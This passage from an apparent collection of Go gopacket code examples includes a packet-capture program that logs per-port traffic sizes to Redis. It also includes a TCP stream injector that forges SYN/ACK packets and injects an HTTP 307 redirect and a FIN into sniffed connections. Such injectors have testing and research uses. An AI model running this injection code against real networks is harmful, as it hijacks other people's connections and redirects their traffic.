				//or, potentially, the physical device we've been reading from has been
				//downed.  Or something else crazy has gone wrong...so we break
				//out of the capture loop entirely.

				log.Debug("packetSource returned nil.")
				break CAPTURE
			}
		}
	}

	gracefulShutdown(channels, reChan, logChan)

}
Example #29
0
func main() {

	//Open redis
	client = redis.NewClient(&redis.Options{
		Addr:     "127.0.0.1:6379",
		Password: "******", // no password set
		DB:       0,          // use default DB
	})

	// Open device
	handle, err = pcap.OpenLive(device, snapshot_len, promiscuous, timeout)
	if err != nil {
		log.Fatal(err)
	}
	defer handle.Close()

	ief, _ := net.InterfaceByName(device)
	addrs, _ := ief.Addrs()
	ip := addrs[0].(*net.IPNet).IP

	var filter string = "src host " + ip.String()
	err = handle.SetBPFFilter(filter)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println("Only capturing src host " + ip.String())

	go rewrite()

	packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
	for packet := range packetSource.Packets() {
		parser := gopacket.NewDecodingLayerParser(
			layers.LayerTypeEthernet,
			&ethLayer,
			&tcpLayer,
			&ipLayer,
			&udpLayer,
		)
		foundLayerTypes := []gopacket.LayerType{}

		parser.DecodeLayers(packet.Data(), &foundLayerTypes)

		size_d := len(packet.Data())
		size_f := float64(size_d) / 1048576.00
		var port string
		fmt.Printf("Packet Size: %dB, %fMB\n", size_d, size_f)
		for _, layerType := range foundLayerTypes {
			if layerType == layers.LayerTypeIPv4 {
				fmt.Println("IPv4: ", ipLayer.SrcIP, "->", ipLayer.DstIP)
			}
			if layerType == layers.LayerTypeTCP {
				port = portfilter(tcpLayer.SrcPort.String())
				fmt.Println("TCP Port: ", port, "->", portfilter(tcpLayer.DstPort.String()))
			}
			if layerType == layers.LayerTypeUDP {
				port = portfilter(udpLayer.SrcPort.String())
				fmt.Println("UDP Port: ", port, "->", portfilter(udpLayer.DstPort.String()))
			}
			portint, err := strconv.Atoi(port)
			if err != nil {
				continue
			}
			if portint <= 10000 {
				continue
			}
			key := "port_" + port
			go cachekv(key, size_f)
		}
		fmt.Println()
	}
}
Example #30
0
func main() {
	defer util.Run()()

	var eth layers.Ethernet
	var dot1q layers.Dot1Q
	var ip4 layers.IPv4
	var tcp layers.TCP
	var payload gopacket.Payload

	r := rand.New(rand.NewSource(time.Now().UnixNano()))
	hijackSeq := r.Uint32()

	decoded := make([]gopacket.LayerType, 0, 4)

	streamInjector := attack.TCPStreamInjector{}
	err := streamInjector.Init("0.0.0.0")
	if err != nil {
		panic(err)
	}

	handle, err := pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever)
	if err != nil {
		log.Fatal("error opening pcap handle: ", err)
	}
	if err := handle.SetBPFFilter(*filter); err != nil {
		log.Fatal("error setting BPF filter: ", err)
	}
	parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet,
		&eth, &dot1q, &ip4, &tcp, &payload)

	log.Print("collecting packets...\n")
	for {
		data, ci, err := handle.ZeroCopyReadPacketData()
		if err != nil {
			log.Printf("error getting packet: %v %s", err, ci)
			continue
		}
		err = parser.DecodeLayers(data, &decoded)
		if err != nil {
			log.Printf("error decoding packet: %v", err)
			continue
		}

		// craft a response to the client
		// here we reuse the client's header
		// by swapping addrs and ports

		// swap ip addrs
		srcip := ip4.SrcIP
		ip4.SrcIP = ip4.DstIP
		ip4.DstIP = srcip

		// swap ports
		srcport := tcp.SrcPort
		tcp.SrcPort = tcp.DstPort
		tcp.DstPort = srcport

		// empty payload for SYN/ACK handshake completion
		streamInjector.Payload = []byte("")
		seq := tcp.Seq
		tcp.Seq = hijackSeq
		tcp.Ack = uint32(tcpassembly.Sequence(seq).Add(1))
		tcp.ACK = true
		tcp.SYN = true
		tcp.RST = false

		err = streamInjector.SetIPLayer(ip4)
		if err != nil {
			panic(err)
		}
		streamInjector.SetTCPLayer(tcp)
		err = streamInjector.Write()
		if err != nil {
			panic(err)
		}
		log.Print("SYN/ACK packet sent!\n")

		// send rediction payload
		redirect := []byte("HTTP/1.1 307 Temporary Redirect\r\nLocation: http://127.0.0.1/?\r\n\r\n")
		streamInjector.Payload = redirect
		tcp.PSH = true
		tcp.SYN = false
		tcp.ACK = true
		tcp.Ack = uint32(tcpassembly.Sequence(seq).Add(1))
		tcp.Seq = uint32(tcpassembly.Sequence(hijackSeq).Add(1))

		err = streamInjector.SetIPLayer(ip4)
		if err != nil {
			panic(err)
		}
		streamInjector.SetTCPLayer(tcp)
		err = streamInjector.Write()
		if err != nil {
			panic(err)
		}
		log.Print("redirect packet sent!\n")

		// send FIN
		streamInjector.Payload = []byte("")
		tcp.FIN = true
		tcp.SYN = false
		tcp.ACK = false
		tcp.Seq = uint32(tcpassembly.Sequence(hijackSeq).Add(2))

		err = streamInjector.SetIPLayer(ip4)
		if err != nil {
			panic(err)
		}
		streamInjector.SetTCPLayer(tcp)
		err = streamInjector.Write()
		if err != nil {
			panic(err)
		}
		log.Print("FIN packet sent!\n")
	}
}